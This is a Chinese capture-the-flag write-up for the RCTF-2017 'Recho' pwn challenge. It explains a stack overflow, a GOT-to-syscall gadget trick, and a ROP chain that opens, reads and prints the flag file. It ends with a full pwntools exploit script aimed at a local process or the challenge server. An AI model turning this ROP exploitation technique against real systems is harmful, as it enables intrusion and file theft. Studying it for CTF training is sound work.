XCTF 3rd-RCTF-2017——Recho分析

Recho的题目分析

2020-02-04 21:10:35 by hawkJW


题目附件、ida文件及wp链接


   这道题的思路和以往的不太一样,在这里学习、记录一下


  1.  程序流程总览

首先,还是老规矩,看一下保护情况

XCTF 3rd-RCTF-2017——Recho分析_第1张图片

  可以看到,保护情况还是比较轻松的,主要在NX上,即栈上不可执行。下面具体看一下程序的流程,如图所示

XCTF 3rd-RCTF-2017——Recho分析_第2张图片

实际上,我们发现这个流程还是比较简单的,就是不断地输入长度,在读取该长度的输入,并且不断重复这个步骤,知道read()函数的长度为0为止。


 

2.  漏洞

  我们基本上一眼就能看出来这个漏洞,因为对于输入的长度值没有限制,则在读取该长度值的输入时就会产生栈溢出,从而可以通过ROP来实现漏洞利用。当然,实际的漏洞利用并没有这么简单,我们将在后面说明。


3.  漏洞利用

  实际上,在进行这个漏洞利用之前,有几个问题。

  经过试验发现,实际上,对于read()来说,无论输入什么,最终都会至少返回一个非零值(大部分为正数,极少数为负数,负数的情况我们就先不做讨论),则这就会导致一个问题,我们没办法停止循环。因此,经过查阅资料,在pwn中,实际上只有断开socket通道才可以,但是,如果直接断开的,我们也就没办法继续与程序进行交互。因此,这里我们需要使用pwntools提供的shutdown('write'),这样子我们就可以退出循环了。因此,我们只能执行一次栈溢出,从而获取flag,这就要求我们需要进行构造ROP,从而完成漏洞的利用。

  下面具体讲述一下漏洞的利用。

  实际上,程序中给了一部分的gadget(一开始完全没有注意到。。。),如图所示,

 

实际上,根据万能gadget

 

XCTF 3rd-RCTF-2017——Recho分析_第3张图片

我们就可以控制rax,rdx,rdi,rsi,那么我们只需要找到syscall的函数位置,就可以实现系统函数的调用了。

这里说明一下,之所以会想到系统调用,是因为我们在进行字符串查找时,找到了一些提示,如图所示

 

XCTF 3rd-RCTF-2017——Recho分析_第4张图片

看到有字符串flag,那么会猜测是否是让我们打开flag文件,因此联想到使用系统调用来实现。

回归正题,如何查找syscall的位置,实际上,这个需要一些经验,需要我们对于lib文件有一定的了解。

我们以我的环境中的lib为例,我们看一个我们比较熟悉的函数的汇编源码

 

XCTF 3rd-RCTF-2017——Recho分析_第5张图片

我们发现了我们想要的syscall,实际上不仅仅是read函数,包括alarm、write函数,其都包含有syscall。另一方面,对于不同电脑的lib文件,虽然各个函数的起始位置不同,但是每一个lib文件内的相同函数内部的代码应该是相同的,因此对于任何lib的read函数,再其偏移的基础上加上0xe,则是syscall。

基于上面的分析,我们只要在read的got地址上添加0xe,即可拥有syscall的地址。而恰好程序提供了这样的gadget(看了提示之后才知道的)

XCTF 3rd-RCTF-2017——Recho分析_第6张图片

由于我们可以控制rdi和rax,因此通过这个,既可以实现获取syscall,这样子我们通过系统调用open、read、write,即可成功的完成漏洞利用。

具体的就不多说了,贴上完整的wp

#coding:utf-8
from pwn import *
# context.log_level = 'debug'

debug = 1
if debug == 1:
	r = process('./Recho')
	# gdb.attach(r)
else:
	r = remote('111.198.29.45', 44509)

r.recvuntil('Welcome to Recho server!\n')

pop_rax = 0x4006fc
pop_rdx = 0x4006fe
pop_rsi_r15 = 0x4008a1
pop_rdi = 0x4008a3
flag_addr = 0x0000000000601058						
read_addr = 0x000000000601030
flag_save_addr = 0x601070 
flag_size = 100

def set_syscall():
	return p64(pop_rdi) + p64(read_addr) + p64(pop_rax) + p64(0xe) + p64(0x000000000040070D)


def func_call(rax, rdx, rsi, rdi):
	return p64(pop_rax) + p64(rax) + p64(0x000000000040089A) + p64(0) + p64(1) + p64(read_addr) + p64(rdx) + p64(rsi) + p64(rdi) + p64(0x0000000000400880) + 'a' * 8 * 7

shellcode = 'a' * 0x38 + set_syscall() + func_call(2, 0, 0, flag_addr) + func_call(0, flag_size, flag_save_addr, 3) + func_call(1, flag_size, flag_save_addr, 1)

# r.send('2000'.ljust(0x10, '\x00'))
r.send('2000')
sleep(0.5)
r.send(shellcode)
r.shutdown('write')
r.recv(0x2a)
log.info('flag is %s'%r.recv().split('\x00')[0])

 

你可能感兴趣的:(pwn题目,题解)